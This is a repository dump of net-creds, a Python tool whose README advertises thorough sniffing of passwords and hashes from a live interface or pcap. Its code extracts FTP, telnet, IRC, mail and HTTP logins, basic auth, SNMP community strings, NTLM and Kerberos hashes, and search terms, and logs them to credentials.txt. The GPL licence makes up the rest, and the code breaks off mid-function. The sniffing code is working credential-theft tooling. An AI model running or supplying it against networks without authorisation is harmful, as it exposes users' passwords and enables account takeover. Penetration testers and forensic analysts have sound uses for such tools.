├── .gitignore ├── LICENSE ├── README.md ├── net-creds.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | *.pyc 3 | *.pcap 4 | *.txt 5 | *~ 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Thoroughly sniff passwords and hashes from an interface or pcap file. Concatenates fragmented packets and does not rely on ports for service identification. 2 | 3 | | Screenshots | 4 | |:-----:| 5 | | ![Screenie1](http://imgur.com/opQo7Bb.png) | 6 | | ![Screenie2](http://imgur.com/Kl5I6Ju.png) | 7 | 8 | ### Sniffs 9 | 10 | * URLs visited 11 | * POST loads sent 12 | * HTTP form logins/passwords 13 | * HTTP basic auth logins/passwords 14 | * HTTP searches 15 | * FTP logins/passwords 16 | * IRC logins/passwords 17 | * POP logins/passwords 18 | * IMAP logins/passwords 19 | * Telnet logins/passwords 20 | * SMTP logins/passwords 21 | * SNMP community string 22 | * NTLMv1/v2 all supported protocols: HTTP, SMB, LDAP, etc. 23 | * Kerberos 24 | 25 | ### Examples 26 | 27 | Auto-detect the interface to sniff 28 | 29 | `sudo python net-creds.py` 30 | 31 | Choose eth0 as the interface 32 | 33 | `sudo python net-creds.py -i eth0` 34 | 35 | Ignore packets to and from 192.168.0.2 36 | 37 | `sudo python net-creds.py -f 192.168.0.2` 38 | 39 | Read from pcap 40 | 41 | `python net-creds.py -p pcapfile` 42 | 43 | 44 | #### OS X 45 | 46 | Credit to [epocs](https://github.com/epocs): 47 | 48 | ```bash 49 | sudo easy_install pip 50 | sudo pip install scapy 51 | sudo pip install pcapy 52 | brew install libdnet --with-python 53 | mkdir -p /Users//Library/Python/2.7/lib/python/site-packages 54 | echo 'import site; site.addsitedir("/usr/local/lib/python2.7/site-packages")' >> /Users//Library/Python/2.7/lib/python/site-packages/homebrew.pth 55 | sudo pip install pypcap 56 | brew tap brona/iproute2mac 57 | brew install iproute2mac 58 | ``` 59 | 60 | Then replace line 74 '/sbin/ip' with '/usr/local/bin/ip'. 61 | 62 | 63 | #### Thanks 64 | * Laurent Gaffie 65 | * psychomario 66 | -------------------------------------------------------------------------------- /net-creds.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from os import geteuid, devnull 4 | import logging 5 | # shut up scapy 6 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 7 | from scapy.all import * 8 | conf.verb=0 9 | from sys import exit 10 | import binascii 11 | import struct 12 | import argparse 13 | import signal 14 | import base64 15 | from urllib import unquote 16 | import platform 17 | from subprocess import Popen, PIPE, check_output 18 | from collections import OrderedDict 19 | from BaseHTTPServer import BaseHTTPRequestHandler 20 | from StringIO import StringIO 21 | from urllib import unquote 22 | #import binascii #already imported on line 10 23 | # Debug 24 | #from IPython import embed 25 | 26 | ########################## 27 | # Potention ToDo: 28 | # MySQL seed:hash 29 | # VNC 30 | # Oracle? 31 | # Add file carving from dissectors.py 32 | ######################### 33 | 34 | # Unintentional code contributors: 35 | # Laurent Gaffie 36 | # psychomario 37 | 38 | logging.basicConfig(filename='credentials.txt',level=logging.INFO) 39 | DN = open(devnull, 'w') 40 | pkt_frag_loads = OrderedDict() 41 | challenge_acks = OrderedDict() 42 | mail_auths = OrderedDict() 43 | telnet_stream = OrderedDict() 44 | 45 | # Regexs 46 | authenticate_re = '(www-|proxy-)?authenticate' 47 | authorization_re = '(www-|proxy-)?authorization' 48 | ftp_user_re = r'USER (.+)\r\n' 49 | ftp_pw_re = r'PASS (.+)\r\n' 50 | irc_user_re = r'NICK (.+?)((\r)?\n|\s)' 51 | irc_pw_re = r'NS IDENTIFY (.+)' 52 | irc_pw_re2 = 'nickserv :identify (.+)' 53 | mail_auth_re = '(\d+ )?(auth|authenticate) (login|plain)' 54 | mail_auth_re1 = '(\d+ )?login ' 55 | NTLMSSP2_re = 'NTLMSSP\x00\x02\x00\x00\x00.+' 56 | NTLMSSP3_re = 'NTLMSSP\x00\x03\x00\x00\x00.+' 57 | # Prone to false+ but prefer that to false- 58 | http_search_re = '((search|query|&q|\?q|search\?p|searchterm|keywords|keyword|command|terms|keys|question|kwd|searchPhrase)=([^&][^&]*))' 59 | 60 | #Console colors 61 | W = '\033[0m' # white (normal) 62 | T = '\033[93m' # tan 63 | 64 | def parse_args(): 65 | """Create the arguments""" 66 | parser = argparse.ArgumentParser() 67 | parser.add_argument("-i", "--interface", help="Choose an interface") 68 | parser.add_argument("-p", "--pcap", help="Parse info from a pcap file; -p ") 69 | parser.add_argument("-f", "--filterip", help="Do not sniff packets from this IP address; -f 192.168.0.4") 70 | parser.add_argument("-v", "--verbose", help="Display entire URLs and POST loads rather than truncating at 100 characters", action="store_true") 71 | return parser.parse_args() 72 | 73 | def iface_finder(): 74 | system_platform = platform.system() 75 | if system_platform == 'Linux': 76 | ipr = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN) 77 | for line in ipr.communicate()[0].splitlines(): 78 | if 'default' in line: 79 | l = line.split() 80 | iface = l[4] 81 | return iface 82 | elif system_platform == 'Darwin': # OSX support 83 | return check_output("route get 0.0.0.0 2>/dev/null| sed -n '5p' | cut -f4 -d' '", shell=True).rstrip() 84 | else: 85 | exit('[-] Could not find an internet active interface; please specify one with -i ') 86 | 87 | def frag_remover(ack, load): 88 | ''' 89 | Keep the FILO OrderedDict of frag loads from getting too large 90 | 3 points of limit: 91 | Number of ip_ports < 50 92 | Number of acks per ip:port < 25 93 | Number of chars in load < 5000 94 | ''' 95 | global pkt_frag_loads 96 | 97 | # Keep the number of IP:port mappings below 50 98 | # last=False pops the oldest item rather than the latest 99 | while len(pkt_frag_loads) > 50: 100 | pkt_frag_loads.popitem(last=False) 101 | 102 | # Loop through a deep copy dict but modify the original dict 103 | copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads) 104 | for ip_port in copy_pkt_frag_loads: 105 | if len(copy_pkt_frag_loads[ip_port]) > 0: 106 | # Keep 25 ack:load's per ip:port 107 | while len(copy_pkt_frag_loads[ip_port]) > 25: 108 | pkt_frag_loads[ip_port].popitem(last=False) 109 | 110 | # Recopy the new dict to prevent KeyErrors for modifying dict in loop 111 | copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads) 112 | for ip_port in copy_pkt_frag_loads: 113 | # Keep the load less than 75,000 chars 114 | for ack in copy_pkt_frag_loads[ip_port]: 115 | # If load > 5000 chars, just keep the last 200 chars 116 | if len(copy_pkt_frag_loads[ip_port][ack]) > 5000: 117 | pkt_frag_loads[ip_port][ack] = pkt_frag_loads[ip_port][ack][-200:] 118 | 119 | def frag_joiner(ack, src_ip_port, load): 120 | ''' 121 | Keep a store of previous fragments in an OrderedDict named pkt_frag_loads 122 | ''' 123 | for ip_port in pkt_frag_loads: 124 | if src_ip_port == ip_port: 125 | if ack in pkt_frag_loads[src_ip_port]: 126 | # Make pkt_frag_loads[src_ip_port][ack] = full load 127 | old_load = pkt_frag_loads[src_ip_port][ack] 128 | concat_load = old_load + load 129 | return OrderedDict([(ack, concat_load)]) 130 | 131 | return OrderedDict([(ack, load)]) 132 | 133 | def pkt_parser(pkt): 134 | ''' 135 | Start parsing packets here 136 | ''' 137 | global pkt_frag_loads, mail_auths 138 | 139 | if pkt.haslayer(Raw): 140 | load = pkt[Raw].load 141 | 142 | # Get rid of Ethernet pkts with just a raw load cuz these are usually network controls like flow control 143 | if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6): 144 | return 145 | 146 | # UDP 147 | if pkt.haslayer(UDP) and pkt.haslayer(IP): 148 | 149 | src_ip_port = str(pkt[IP].src) + ':' + str(pkt[UDP].sport) 150 | dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[UDP].dport) 151 | 152 | # SNMP community strings 153 | if pkt.haslayer(SNMP): 154 | parse_snmp(src_ip_port, dst_ip_port, pkt[SNMP]) 155 | return 156 | 157 | # Kerberos over UDP 158 | decoded = Decode_Ip_Packet(str(pkt)[14:]) 159 | kerb_hash = ParseMSKerbv5UDP(decoded['data'][8:]) 160 | if kerb_hash: 161 | printer(src_ip_port, dst_ip_port, kerb_hash) 162 | 163 | # TCP 164 | elif pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP): 165 | 166 | ack = str(pkt[TCP].ack) 167 | seq = str(pkt[TCP].seq) 168 | src_ip_port = str(pkt[IP].src) + ':' + str(pkt[TCP].sport) 169 | dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[TCP].dport) 170 | frag_remover(ack, load) 171 | pkt_frag_loads[src_ip_port] = frag_joiner(ack, src_ip_port, load) 172 | full_load = pkt_frag_loads[src_ip_port][ack] 173 | 174 | # Limit the packets we regex to increase efficiency 175 | # 750 is a bit arbitrary but some SMTP auth success pkts 176 | # are 500+ characters 177 | if 0 < len(full_load) < 750: 178 | 179 | # FTP 180 | ftp_creds = parse_ftp(full_load, dst_ip_port) 181 | if len(ftp_creds) > 0: 182 | for msg in ftp_creds: 183 | printer(src_ip_port, dst_ip_port, msg) 184 | return 185 | 186 | # Mail 187 | mail_creds_found = mail_logins(full_load, src_ip_port, dst_ip_port, ack, seq) 188 | 189 | # IRC 190 | irc_creds = irc_logins(full_load, pkt) 191 | if irc_creds != None: 192 | printer(src_ip_port, dst_ip_port, irc_creds) 193 | return 194 | 195 | # Telnet 196 | telnet_logins(src_ip_port, dst_ip_port, load, ack, seq) 197 | 198 | # HTTP and other protocols that run on TCP + a raw load 199 | other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt, parse_args().verbose) 200 | 201 | def telnet_logins(src_ip_port, dst_ip_port, load, ack, seq): 202 | ''' 203 | Catch telnet logins and passwords 204 | ''' 205 | global telnet_stream 206 | 207 | msg = None 208 | 209 | if src_ip_port in telnet_stream: 210 | # Do a utf decode in case the client sends telnet options before their username 211 | # No one would care to see that 212 | try: 213 | telnet_stream[src_ip_port] += load.decode('utf8') 214 | except UnicodeDecodeError: 215 | pass 216 | 217 | # \r or \r\n or \n terminate commands in telnet if my pcaps are to be believed 218 | if '\r' in telnet_stream[src_ip_port] or '\n' in telnet_stream[src_ip_port]: 219 | telnet_split = telnet_stream[src_ip_port].split(' ', 1) 220 | cred_type = telnet_split[0] 221 | value = telnet_split[1].replace('\r\n', '').replace('\r', '').replace('\n', '') 222 | # Create msg, the return variable 223 | msg = 'Telnet %s: %s' % (cred_type, value) 224 | printer(src_ip_port, dst_ip_port, msg) 225 | del telnet_stream[src_ip_port] 226 | 227 | # This part relies on the telnet packet ending in 228 | # "login:", "password:", or "username:" and being <750 chars 229 | # Haven't seen any false+ but this is pretty general 230 | # might catch some eventually 231 | # maybe use dissector.py telnet lib? 232 | if len(telnet_stream) > 100: 233 | telnet_stream.popitem(last=False) 234 | mod_load = load.lower().strip() 235 | if mod_load.endswith('username:') or mod_load.endswith('login:'): 236 | telnet_stream[dst_ip_port] = 'username ' 237 | elif mod_load.endswith('password:'): 238 | telnet_stream[dst_ip_port] = 'password ' 239 | 240 | def ParseMSKerbv5TCP(Data): 241 | ''' 242 | Taken from Pcredz because I didn't want to spend the time doing this myself 243 | I should probably figure this out on my own but hey, time isn't free, why reinvent the wheel? 244 | Maybe replace this eventually with the kerberos python lib 245 | Parses Kerberosv5 hashes from packets 246 | ''' 247 | try: 248 | MsgType = Data[21:22] 249 | EncType = Data[43:44] 250 | MessageType = Data[32:33] 251 | except IndexError: 252 | return 253 | 254 | if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": 255 | if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": 256 | HashLen = struct.unpack(' 1: 357 | lines = full_load.count('\r\n') 358 | if lines > 1: 359 | full_load = full_load.split('\r\n')[-2] # -1 is '' 360 | return full_load 361 | 362 | def parse_ftp(full_load, dst_ip_port): 363 | ''' 364 | Parse out FTP creds 365 | ''' 366 | print_strs = [] 367 | 368 | # Sometimes FTP packets double up on the authentication lines 369 | # We just want the lastest one. Ex: "USER danmcinerney\r\nUSER danmcinerney\r\n" 370 | full_load = double_line_checker(full_load, 'USER') 371 | 372 | # FTP and POP potentially use idential client > server auth pkts 373 | ftp_user = re.match(ftp_user_re, full_load) 374 | ftp_pass = re.match(ftp_pw_re, full_load) 375 | 376 | if ftp_user: 377 | msg1 = 'FTP User: %s' % ftp_user.group(1).strip() 378 | print_strs.append(msg1) 379 | if dst_ip_port[-3:] != ':21': 380 | msg2 = 'Nonstandard FTP port, confirm the service that is running on it' 381 | print_strs.append(msg2) 382 | 383 | elif ftp_pass: 384 | msg1 = 'FTP Pass: %s' % ftp_pass.group(1).strip() 385 | print_strs.append(msg1) 386 | if dst_ip_port[-3:] != ':21': 387 | msg2 = 'Nonstandard FTP port, confirm the service that is running on it' 388 | print_strs.append(msg2) 389 | 390 | return print_strs 391 | 392 | def mail_decode(src_ip_port, dst_ip_port, mail_creds): 393 | ''' 394 | Decode base64 mail creds 395 | ''' 396 | try: 397 | decoded = base64.b64decode(mail_creds).replace('\x00', ' ').decode('utf8') 398 | decoded = decoded.replace('\x00', ' ') 399 | except TypeError: 400 | decoded = None 401 | except UnicodeDecodeError as e: 402 | decoded = None 403 | 404 | if decoded != None: 405 | msg = 'Decoded: %s' % decoded 406 | printer(src_ip_port, dst_ip_port, msg) 407 | 408 | def mail_logins(full_load, src_ip_port, dst_ip_port, ack, seq): 409 | ''' 410 | Catch IMAP, POP, and SMTP logins 411 | ''' 412 | # Handle the first packet of mail authentication 413 | # if the creds aren't in the first packet, save it in mail_auths 414 | 415 | # mail_auths = 192.168.0.2 : [1st ack, 2nd ack...] 416 | global mail_auths 417 | found = False 418 | 419 | # Sometimes mail packets double up on the authentication lines 420 | # We just want the lastest one. Ex: "1 auth plain\r\n2 auth plain\r\n" 421 | full_load = double_line_checker(full_load, 'auth') 422 | 423 | # Client to server 2nd+ pkt 424 | if src_ip_port in mail_auths: 425 | if seq in mail_auths[src_ip_port][-1]: 426 | stripped = full_load.strip('\r\n') 427 | try: 428 | decoded = base64.b64decode(stripped) 429 | msg = 'Mail authentication: %s' % decoded 430 | printer(src_ip_port, dst_ip_port, msg) 431 | except TypeError: 432 | pass 433 | mail_auths[src_ip_port].append(ack) 434 | 435 | # Server responses to client 436 | # seq always = last ack of tcp stream 437 | elif dst_ip_port in mail_auths: 438 | if seq in mail_auths[dst_ip_port][-1]: 439 | # Look for any kind of auth failure or success 440 | a_s = 'Authentication successful' 441 | a_f = 'Authentication failed' 442 | # SMTP auth was successful 443 | if full_load.startswith('235') and 'auth' in full_load.lower(): 444 | # Reversed the dst and src 445 | printer(dst_ip_port, src_ip_port, a_s) 446 | found = True 447 | try: 448 | del mail_auths[dst_ip_port] 449 | except KeyError: 450 | pass 451 | # SMTP failed 452 | elif full_load.startswith('535 '): 453 | # Reversed the dst and src 454 | printer(dst_ip_port, src_ip_port, a_f) 455 | found = True 456 | try: 457 | del mail_auths[dst_ip_port] 458 | except KeyError: 459 | pass 460 | # IMAP/POP/SMTP failed 461 | elif ' fail' in full_load.lower(): 462 | # Reversed the dst and src 463 | printer(dst_ip_port, src_ip_port, a_f) 464 | found = True 465 | try: 466 | del mail_auths[dst_ip_port] 467 | except KeyError: 468 | pass 469 | # IMAP auth success 470 | elif ' OK [' in full_load: 471 | # Reversed the dst and src 472 | printer(dst_ip_port, src_ip_port, a_s) 473 | found = True 474 | try: 475 | del mail_auths[dst_ip_port] 476 | except KeyError: 477 | pass 478 | 479 | # Pkt was not an auth pass/fail so its just a normal server ack 480 | # that it got the client's first auth pkt 481 | else: 482 | if len(mail_auths) > 100: 483 | mail_auths.popitem(last=False) 484 | mail_auths[dst_ip_port].append(ack) 485 | 486 | # Client to server but it's a new TCP seq 487 | # This handles most POP/IMAP/SMTP logins but there's at least one edge case 488 | else: 489 | mail_auth_search = re.match(mail_auth_re, full_load, re.IGNORECASE) 490 | if mail_auth_search != None: 491 | auth_msg = full_load 492 | # IMAP uses the number at the beginning 493 | if mail_auth_search.group(1) != None: 494 | auth_msg = auth_msg.split()[1:] 495 | else: 496 | auth_msg = auth_msg.split() 497 | # Check if its a pkt like AUTH PLAIN dvcmQxIQ== 498 | # rather than just an AUTH PLAIN 499 | if len(auth_msg) > 2: 500 | mail_creds = ' '.join(auth_msg[2:]) 501 | msg = 'Mail authentication: %s' % mail_creds 502 | printer(src_ip_port, dst_ip_port, msg) 503 | 504 | mail_decode(src_ip_port, dst_ip_port, mail_creds) 505 | try: 506 | del mail_auths[src_ip_port] 507 | except KeyError: 508 | pass 509 | found = True 510 | 511 | # Mail auth regex was found and src_ip_port is not in mail_auths 512 | # Pkt was just the initial auth cmd, next pkt from client will hold creds 513 | if len(mail_auths) > 100: 514 | mail_auths.popitem(last=False) 515 | mail_auths[src_ip_port] = [ack] 516 | 517 | # At least 1 mail login style doesn't fit in the original regex: 518 | # 1 login "username" "password" 519 | # This also catches FTP authentication! 520 | # 230 Login successful. 521 | elif re.match(mail_auth_re1, full_load, re.IGNORECASE) != None: 522 | 523 | # FTP authentication failures trigger this 524 | #if full_load.lower().startswith('530 login'): 525 | # return 526 | 527 | auth_msg = full_load 528 | auth_msg = auth_msg.split() 529 | if 2 < len(auth_msg) < 5: 530 | mail_creds = ' '.join(auth_msg[2:]) 531 | msg = 'Authentication: %s' % mail_creds 532 | printer(src_ip_port, dst_ip_port, msg) 533 | mail_decode(src_ip_port, dst_ip_port, mail_creds) 534 | found = True 535 | 536 | if found == True: 537 | return True 538 | 539 | def irc_logins(full_load, pkt): 540 | ''' 541 | Find IRC logins 542 | ''' 543 | user_search = re.match(irc_user_re, full_load) 544 | pass_search = re.match(irc_pw_re, full_load) 545 | pass_search2 = re.search(irc_pw_re2, full_load.lower()) 546 | if user_search: 547 | msg = 'IRC nick: %s' % user_search.group(1) 548 | return msg 549 | if pass_search: 550 | msg = 'IRC pass: %s' % pass_search.group(1) 551 | return msg 552 | if pass_search2: 553 | msg = 'IRC pass: %s' % pass_search2.group(1) 554 | return msg 555 | 556 | def other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt, verbose): 557 | ''' 558 | Pull out pertinent info from the parsed HTTP packet data 559 | ''' 560 | user_passwd = None 561 | http_url_req = None 562 | method = None 563 | http_methods = ['GET ', 'POST ', 'CONNECT ', 'TRACE ', 'TRACK ', 'PUT ', 'DELETE ', 'HEAD '] 564 | http_line, header_lines, body = parse_http_load(full_load, http_methods) 565 | headers = headers_to_dict(header_lines) 566 | if 'host' in headers: 567 | host = headers['host'] 568 | else: 569 | host = '' 570 | 571 | if http_line != None: 572 | method, path = parse_http_line(http_line, http_methods) 573 | http_url_req = get_http_url(method, host, path, headers) 574 | if http_url_req != None: 575 | if verbose == False: 576 | if len(http_url_req) > 98: 577 | http_url_req = http_url_req[:99] + '...' 578 | printer(src_ip_port, None, http_url_req) 579 | 580 | # Print search terms 581 | searched = get_http_searches(http_url_req, body, host) 582 | if searched: 583 | printer(src_ip_port, dst_ip_port, searched) 584 | 585 | # Print user/pwds 586 | if body != '': 587 | user_passwd = get_login_pass(body) 588 | if user_passwd != None: 589 | try: 590 | http_user = user_passwd[0].decode('utf8') 591 | http_pass = user_passwd[1].decode('utf8') 592 | # Set a limit on how long they can be prevent false+ 593 | if len(http_user) > 75 or len(http_pass) > 75: 594 | return 595 | user_msg = 'HTTP username: %s' % http_user 596 | printer(src_ip_port, dst_ip_port, user_msg) 597 | pass_msg = 'HTTP password: %s' % http_pass 598 | printer(src_ip_port, dst_ip_port, pass_msg) 599 | except UnicodeDecodeError: 600 | pass 601 | 602 | # Print POST loads 603 | # ocsp is a common SSL post load that's never interesting 604 | if method == 'POST' and 'ocsp.' not in host: 605 | try: 606 | if verbose == False and len(body) > 99: 607 | # If it can't decode to utf8 we're probably not interested in it 608 | msg = 'POST load: %s...' % body[:99].encode('utf8') 609 | else: 610 | msg = 'POST load: %s' % body.encode('utf8') 611 | printer(src_ip_port, None, msg) 612 | except UnicodeDecodeError: 613 | pass 614 | 615 | # Kerberos over TCP 616 | decoded = Decode_Ip_Packet(str(pkt)[14:]) 617 | kerb_hash = ParseMSKerbv5TCP(decoded['data'][20:]) 618 | if kerb_hash: 619 | printer(src_ip_port, dst_ip_port, kerb_hash) 620 | 621 | # Non-NETNTLM NTLM hashes (MSSQL, DCE-RPC,SMBv1/2,LDAP, MSSQL) 622 | NTLMSSP2 = re.search(NTLMSSP2_re, full_load, re.DOTALL) 623 | NTLMSSP3 = re.search(NTLMSSP3_re, full_load, re.DOTALL) 624 | if NTLMSSP2: 625 | parse_ntlm_chal(NTLMSSP2.group(), ack) 626 | if NTLMSSP3: 627 | ntlm_resp_found = parse_ntlm_resp(NTLMSSP3.group(), seq) 628 | if ntlm_resp_found != None: 629 | printer(src_ip_port, dst_ip_port, ntlm_resp_found) 630 | 631 | # Look for authentication headers 632 | if len(headers) == 0: 633 | authenticate_header = None 634 | authorization_header = None 635 | for header in headers: 636 | authenticate_header = re.match(authenticate_re, header) 637 | authorization_header = re.match(authorization_re, header) 638 | if authenticate_header or authorization_header: 639 | break 640 | 641 | if authorization_header or authenticate_header: 642 | # NETNTLM 643 | netntlm_found = parse_netntlm(authenticate_header, authorization_header, headers, ack, seq) 644 | if netntlm_found != None: 645 | printer(src_ip_port, dst_ip_port, netntlm_found) 646 | 647 | # Basic Auth 648 | parse_basic_auth(src_ip_port, dst_ip_port, headers, authorization_header) 649 | 650 | def get_http_searches(http_url_req, body, host): 651 | ''' 652 | Find search terms from URLs. Prone to false positives but rather err on that side than false negatives 653 | search, query, ?s, &q, ?q, search?p, searchTerm, keywords, command 654 | ''' 655 | false_pos = ['i.stack.imgur.com'] 656 | 657 | searched = None 658 | if http_url_req != None: 659 | searched = re.search(http_search_re, http_url_req, re.IGNORECASE) 660 | if searched == None: 661 | searched = re.search(http_search_re, body, re.IGNORECASE) 662 | 663 | if searched != None and host not in false_pos: 664 | searched = searched.group(3) 665 | # Eliminate some false+ 666 | try: 667 | # if it doesn't decode to utf8 it's probably not user input 668 | searched = searched.decode('utf8') 669 | except UnicodeDecodeError: 670 | return 671 | # some add sites trigger this function with single digits 672 | if searched in [str(num) for num in range(0,10)]: 673 | return 674 | # nobody's making >100 character searches 675 | if len(searched) > 100: 676 | return 677 | msg = 'Searched %s: %s' % (host, unquote(searched.encode('utf8')).replace('+', ' ')) 678 | return msg 679 | 680 | def parse_basic_auth(src_ip_port, dst_ip_port, headers, authorization_header): 681 | ''' 682 | Parse basic authentication over HTTP 683 | ''' 684 | if authorization_header: 685 | # authorization_header sometimes is triggered by failed ftp 686 | try: 687 | header_val = headers[authorization_header.group()] 688 | except KeyError: 689 | return 690 | b64_auth_re = re.match('basic (.+)', header_val, re.IGNORECASE) 691 | if b64_auth_re != None: 692 | basic_auth_b64 = b64_auth_re.group(1) 693 | try: 694 | basic_auth_creds = base64.decodestring(basic_auth_b64) 695 | except Exception: 696 | return 697 | msg = 'Basic Authentication: %s' % basic_auth_creds 698 | printer(src_ip_port, dst_ip_port, msg) 699 | 700 | def parse_netntlm(authenticate_header, authorization_header, headers, ack, seq): 701 | ''' 702 | Parse NTLM hashes out 703 | ''' 704 | # Type 2 challenge from server 705 | if authenticate_header != None: 706 | chal_header = authenticate_header.group() 707 | parse_netntlm_chal(headers, chal_header, ack) 708 | 709 | # Type 3 response from client 710 | elif authorization_header != None: 711 | resp_header = authorization_header.group() 712 | msg = parse_netntlm_resp_msg(headers, resp_header, seq) 713 | if msg != None: 714 | return msg 715 | 716 | def parse_snmp(src_ip_port, dst_ip_port, snmp_layer): 717 | ''' 718 | Parse out the SNMP version and community string 719 | ''' 720 | if type(snmp_layer.community.val) == str: 721 | ver = snmp_layer.version.val 722 | msg = 'SNMPv%d community string: %s' % (ver, snmp_layer.community.val) 723 | printer(src_ip_port, dst_ip_port, msg) 724 | return True 725 | 726 | def get_http_url(method, host, path, headers): 727 | ''' 728 | Get the HTTP method + URL from requests 729 | ''' 730 | if method != None and path != None: 731 | 732 | # Make sure the path doesn't repeat the host header 733 | if host != '' and not re.match('(http(s)?://)?'+host, path): 734 | http_url_req = method + ' ' + host + path 735 | else: 736 | http_url_req = method + ' ' + path 737 | 738 | http_url_req = url_filter(http_url_req) 739 | 740 | return http_url_req 741 | 742 | def headers_to_dict(header_lines): 743 | ''' 744 | Convert the list of header lines into a dictionary 745 | ''' 746 | headers = {} 747 | for line in header_lines: 748 | lineList=line.split(': ', 1) 749 | key=lineList[0].lower() 750 | if len(lineList)>1: 751 | headers[key]=lineList[1] 752 | else: 753 | headers[key]="" 754 | return headers 755 | 756 | def parse_http_line(http_line, http_methods): 757 | ''' 758 | Parse the header with the HTTP method in it 759 | ''' 760 | http_line_split = http_line.split() 761 | method = '' 762 | path = '' 763 | 764 | # Accounts for pcap files that might start with a fragment 765 | # so the first line might be just text data 766 | if len(http_line_split) > 1: 767 | method = http_line_split[0] 768 | path = http_line_split[1] 769 | 770 | # This check exists because responses are much different than requests e.g.: 771 | # HTTP/1.1 407 Proxy Authentication Required ( Access is denied. ) 772 | # Add a space to method because there's a space in http_methods items 773 | # to avoid false+ 774 | if method+' ' not in http_methods: 775 | method = None 776 | path = None 777 | 778 | return method, path 779 | 780 | def parse_http_load(full_load, http_methods): 781 | ''' 782 | Split the raw load into list of headers and body string 783 | ''' 784 | try: 785 | headers, body = full_load.split("\r\n\r\n", 1) 786 | except ValueError: 787 | headers = full_load 788 | body = '' 789 | header_lines = headers.split("\r\n") 790 | 791 | # Pkts may just contain hex data and no headers in which case we'll 792 | # still want to parse them for usernames and password 793 | http_line = get_http_line(header_lines, http_methods) 794 | if not http_line: 795 | headers = '' 796 | body = full_load 797 | 798 | header_lines = [line for line in header_lines if line != http_line] 799 | 800 | return http_line, header_lines, body 801 | 802 | def get_http_line(header_lines, http_methods): 803 | ''' 804 | Get the header with the http command 805 | ''' 806 | for header in header_lines: 807 | for method in http_methods: 808 | # / is the only char I can think of that's in every http_line 809 | # Shortest valid: "GET /", add check for "/"? 810 | if header.startswith(method): 811 | http_line = header 812 | return http_line 813 | 814 | def parse_netntlm_chal(headers, chal_header, ack): 815 | ''' 816 | Parse the netntlm server challenge 817 | https://code.google.com/p/python-ntlm/source/browse/trunk/python26/ntlm/ntlm.py 818 | ''' 819 | try: 820 | header_val2 = headers[chal_header] 821 | except KeyError: 822 | return 823 | header_val2 = header_val2.split(' ', 1) 824 | # The header value can either start with NTLM or Negotiate 825 | if header_val2[0] == 'NTLM' or header_val2[0].lower() == 'negotiate': 826 | try: 827 | msg2 = header_val2[1] 828 | except IndexError: 829 | return 830 | msg2 = base64.decodestring(msg2) 831 | parse_ntlm_chal(msg2, ack) 832 | 833 | def parse_ntlm_chal(msg2, ack): 834 | ''' 835 | Parse server challenge 836 | ''' 837 | global challenge_acks 838 | 839 | Signature = msg2[0:8] 840 | try: 841 | msg_type = struct.unpack(" 50: 849 | challenge_acks.popitem(last=False) 850 | challenge_acks[ack] = ServerChallenge 851 | 852 | def parse_netntlm_resp_msg(headers, resp_header, seq): 853 | ''' 854 | Parse the client response to the challenge 855 | ''' 856 | try: 857 | header_val3 = headers[resp_header] 858 | except KeyError: 859 | return 860 | header_val3 = header_val3.split(' ', 1) 861 | 862 | # The header value can either start with NTLM or Negotiate 863 | if header_val3[0] == 'NTLM' or header_val3[0] == 'Negotiate': 864 | try: 865 | msg3 = base64.decodestring(header_val3[1]) 866 | except binascii.Error: 867 | return 868 | return parse_ntlm_resp(msg3, seq) 869 | 870 | def parse_ntlm_resp(msg3, seq): 871 | ''' 872 | Parse the 3rd msg in NTLM handshake 873 | Thanks to psychomario 874 | ''' 875 | 876 | if seq in challenge_acks: 877 | challenge = challenge_acks[seq] 878 